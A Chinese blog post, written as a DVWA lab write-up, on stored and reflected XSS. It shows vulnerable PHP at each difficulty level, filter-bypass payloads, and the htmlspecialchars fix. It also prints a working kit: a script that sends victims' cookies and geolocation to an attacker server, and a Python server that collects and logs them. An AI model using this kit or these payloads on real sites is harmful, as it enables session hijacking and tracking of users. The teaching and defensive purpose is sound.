暑期课程学一学XSS攻击,以及开源项目

XSS攻击

本文主要是使用vulstudy直接搭建的漏洞环境,是其中的DVWA。然后随手记一个反弹shell的工具反弹shell工具

一些高级的过滤参考了参考文章XSS

XSS存储型

原理

存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了。最典型的就是留言板XSS。用户提交了一条包含XSS代码的留言到数据库。当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。浏览器发现有XSS代码,就当做正常的HTML和JS解析执行。XSS攻击就发生了。

low等级的代码如下:

if( isset( $_POST[ 'btnSign' ] ) ) {
    // 检查是否有POST请求且键 'btnSign' 存在
    // 也就是说,表单是否被提交

    // 获取输入
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // 去掉$message和$name两边的空格字符

    // 消毒message输入
    $message = stripslashes( $message );
    // 移除$message中的反斜杠

    $message = mysql_real_escape_string( $message );
    // 使用mysql_real_escape_string()函数对$message进行转义,防止SQL注入攻击

    // 消毒name输入
    $name = mysql_real_escape_string( $name );
    // 使用mysql_real_escape_string()函数对$name进行转义,防止SQL注入攻击

    // 更新数据库
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    // 构建插入查询语句,将$message和$name插入到guestbook表中的comment和name字段

    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    // 执行查询,如果出错则输出错误信息

    // mysql_close();
    // 关闭MySQL连接(已被注释掉)
}

简单来说,就是会根据输入的结果上传到数据库中。如果成功了,这些js代码则会在html解析的时候执行。

比方提交name为aaa,Message为<script>alert('hello,XSS')</script>就会被执行如下:

image

能用来做什么

我们可以在攻击者的服务器,写下一个attack.js文件,在里面写出攻击代码,比如获取cookie之类的代码。然后在有XSS漏洞的地方写入<script src="http://ip:port/attack.js"></script>,这样访问的时候就可以触发漏洞了。我们接下来举个例子。

我们这里Name输入test(这里可以是随意的)以及Message输入

image

提交以后,我们可以看到后台获取了IP地址,COOKIE,经纬度的信息:

image

在前端也可以看到对应的信息更新了,获取到了ip地址等信息:

image

其他的,还可以实现如下功能:

image

实现方式

payload如下,提交之后加载就会导致相关的js代码执行:

<script src="http://127.0.0.1:8888/a.js"></script>

其中的127.0.0.1根据攻击方的服务器ip来决定。比如我的本机ip地址也可以是172.17.0.1,那么也可以用这个ip地址访问(同时为了payload更短我将a.js文件名改为了N):

image

我们发现也是完全可以的。

image

原理如下

启动一个apache服务器,根目录下有这个a.js,我开放在888端口,所以可以通过http://127.0.0.1:8888/a.js访问。

// Function to send data to server
function sendData(cookie, ip, latitude, longitude) {
    var img = new Image();
    img.src = "http://127.0.0.1:8887/atk?cookie=" + encodeURIComponent(cookie) + "&ip=" + encodeURIComponent(ip) + "&latitude=" + encodeURIComponent(latitude) + "&longitude=" + encodeURIComponent(longitude);
}

// Get cookie
var cookie = document.cookie;

// Get geolocation
if (navigator.geolocation) {
    navigator.geolocation.getCurrentPosition(function(position) {
        var latitude = position.coords.latitude;
        var longitude = position.coords.longitude;
        sendData(cookie, "", latitude, longitude);
    });
} else {
    console.log("Geolocation is not supported by this browser.");
    sendData(cookie, "", "", "");
}

这里面的功能就是获取cookie:

var cookie = document.cookie;

经纬度:

var latitude = position.coords.latitude;var longitude = position.coords.longitude;

然后用

"http://127.0.0.1:8887/atk?cookie=" + encodeURIComponent(cookie) + "&ip=" + encodeURICompsonent(ip) + "&latitude=" + encodeURIComponent(latitude) + "&longitude=" + encodeURIComponent(longitude)

去访问下面的python服务器。意思就是把刚才的cookie和经纬度用GET请求传过去,然后到python服务器如下:

from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import datetime

# 定义一个处理请求的类
class MyHTTPRequestHandler(BaseHTTPRequestHandler):

    log_file = "log.txt"

    # 处理GET请求
    def do_GET(self):
        if self.path == '/':
            self.send_index()
        elif self.path.startswith('/log'):
            self.send_log()
        elif self.path.startswith('/atk'):
            # 解析URL中的参数
            parsed_path = urllib.parse.urlparse(self.path)
            query_params = urllib.parse.parse_qs(parsed_path.query)

            # 获取参数
            if 'cookie' in query_params:
                cookie_value = query_params['cookie'][0]
                ip_address = self.client_address[0]  # 获取客户端IP地址
                latitude = query_params.get('latitude', [''])[0]
                longitude = query_params.get('longitude', [''])[0]

                # 如果存在X-Forwarded-For头部,则使用该头部的值
                x_forwarded_for = self.headers.get('X-Forwarded-For')
                if x_forwarded_for:
                    ip_address = x_forwarded_for.split(',')[0].strip()

                # 记录日志
                log_entry = f"{datetime.datetime.now()}\n Cookie: {cookie_value},\n IP: {ip_address},\n Latitude: {latitude},\n Longitude: {longitude}\n\n"
                print(log_entry)
                self.write_to_log(log_entry)

            # 返回一个简单的响应
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b'Cookie Received')

    # 发送首页
    def send_index(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        html = """
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Welcome Page</title>
            <style>
                body {
                    font-family: Arial, sans-serif;
                    display: flex;
                    justify-content: center;
                    align-items: center;
                    height: 100vh;
                    margin: 0;
                    background-color: #f0f0f0;
                }
                .welcome-message {
                    font-size: 2em;
                    color: #333;
                }
                .log-link {
                    margin-top: 20px;
                }
            </style>
        </head>
        <body>
            <div class="welcome-message">Welcome to N1nEmAn XSS</div>
            <a class="log-link" href="/log">View Log</a>
            <script>
                // This script can be used for any future JavaScript functionalities
                console.log("Page loaded successfully");
            </script>
        </body>
        </html>
        """
        self.wfile.write(html.encode('utf-8'))

    # 发送日志页面
    def send_log(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

        # 读取日志文件内容
        log_content = self.read_log()

        html = f"""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Log Viewer</title>
            <style>
                body {{
                    font-family: Arial, sans-serif;
                    margin: 20px;
                }}
                .log-entry {{
                    margin-bottom: 10px;
                    padding: 10px;
                    border: 1px solid #ccc;
                    background-color: #f9f9f9;
                }}
            </style>
        </head>
        <body>
            <h2>Log Viewer</h2>
            <div class="log-entries">
                {log_content}
            </div>
            <a href="/">Back to Home</a>
        </body>
        </html>
        """
        self.wfile.write(html.encode('utf-8'))

    # 读取日志文件
    def read_log(self):
        try:
            with open(self.log_file, 'r') as log:
                log_content = log.read().replace("\n","<br>")
            return log_content
        except FileNotFoundError:
            return "Log file not found."

    # 写入日志文件
    def write_to_log(self, log_entry):
        with open(self.log_file, 'a') as log:
            log.write(log_entry)

# 主程序入口
def run(server_class=HTTPServer, handler_class=MyHTTPRequestHandler, port=8887):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f'Starting httpd on http://127.0.0.1:{port}...')
    httpd.serve_forever()

# 如果是直接运行该脚本,则启动服务器
if __name__ == '__main__':
    run()

这个python服务器打开在8887端口,主要就是获取刚才得到的cookie和经纬度并且获取用户的ip,然后计入日志,可以通过前端查看。前端如下:

image

查看日志如下:

image

XSS反射型

其思路基本和存储型一致,只不过存储型是一直存放在里面,而反射型只有一次。
漏洞源码如下,直接获取输入作为html渲染,则会调用js代码执行,造成XSS漏洞。

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

这个的主要用途还是窃取COOKIE之类的,不过这里需要被攻击者点击有问题的网站,也就是钓鱼网站。一旦点击,则会导致COOKIE,经纬度等的信息泄漏。比如点击sec_web
就会导致弹窗:
image

如果点击我们刚才使用的漏洞也就是点击我是安全网站,则会导致如下信息泄漏,而且被攻击者几乎无法察觉。
image

如何修复?

反射型和存储型的修复都是一样的,我们就一起看反射型的了。

中级

我们刚才看的都是低级的。我们看看中级的是如何修复的:


<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

可以看到他把<script>给改为了空字符串。能够防止<script>alert('XSS')</script>的攻击了。
image
不过对于<script src="http://172.17.0.1:8888/N"></script>仍然没法防止,因为这里面没有<script>给他替换。
这里可以有多种绕过方式:

①大小写绕过:<ScRipt>alert(/xss/)</ScRipt>

②双写方式绕过str_replace()函数:

<scr<script>ipt>alert(/xss/)</script>

③使用非script标签的xss payload:
img标签:
<img src=1 onerror=alert('xss')>
iframe标签:
<iframe onload=alert(1)>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
其他标签和利用还有很多很多....

高级

高级的漏洞代码如下:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

这里使用了正则表达式/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i把所有的script有关的都过滤掉了,不让出现任何有关script,只要出现都被过滤。但是依然可以绕过,我们前面提到过,可以不用script。
比如

<img src=1 onerror=alert(/xss/)>

image
这里引用一下他人的博客。

虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src构造可利用的js代码。
1.使用img标签和其编码转换后的XSS payload:
<img src=1 onerror=alert(/xss/)>

img标签编码转换后的XSS payload例如:
<img src=1 onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src=1 onerror=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img>
<imgsrc=1onerror=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029")></img>

2.使用iframe标签:
<iframe onload=alert(/xss/)>
使用DATA URL进行XSS:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>,其他的XSS payload,还有很多很多...

那么如何实现刚才的获取ip之类的呢?
经过尝试,可以使用如下方式,也就是用iframe和onload进行加载。

<iframe onload="var x='http://172.17.0.1:8888/N';var el=document.createElement(String.fromCharCode(115,99,114,105,112,116));el.src=x;document.head.appendChild(el);">

结果如下:
image

image

不可能等级

源代码如下,直接把输入都用html转义了,基本不能XSS攻击。


<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这也是理想的修复方式了。
本质就是做到了

& (和号) 成为 &
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
(大于) 成为 >

最后

简单来说,XSS可以执行任意的js代码,能够造成非常大的危害。曾经有个师傅叫rabbit,发现了推特的XSS漏洞,结果推特的安全部门认为这是个无关紧要的漏洞,rabbit多次反应都没有得到赏金和承认。最后他把这个漏洞公开,因为官方觉得这个不是什么漏洞,间接导致了黑客使用使得推特的所有广告投放失效,造成了巨大的经济损失。(说明这个例子是告诉大家XSS漏洞危害很大,请不要乱用哦 ; ))

XSS工具用法

已经开源到:https://github.com/N1nEmAn/N1nEXSS

将js下的文件夹保存到apache的目录下,然后修改其中js文件的ip地址为你的实际ip地址。
同时你的payload为:

<script src="http://{你的ip地址}:{你的apache端口,一般为80可以不填写}/N"></script>

然后直接访问你的python服务器即可获取XSS攻击结果。

posted @ 2024-07-09 21:11  .N1nEmAn  阅读(118)  评论(0编辑  收藏  举报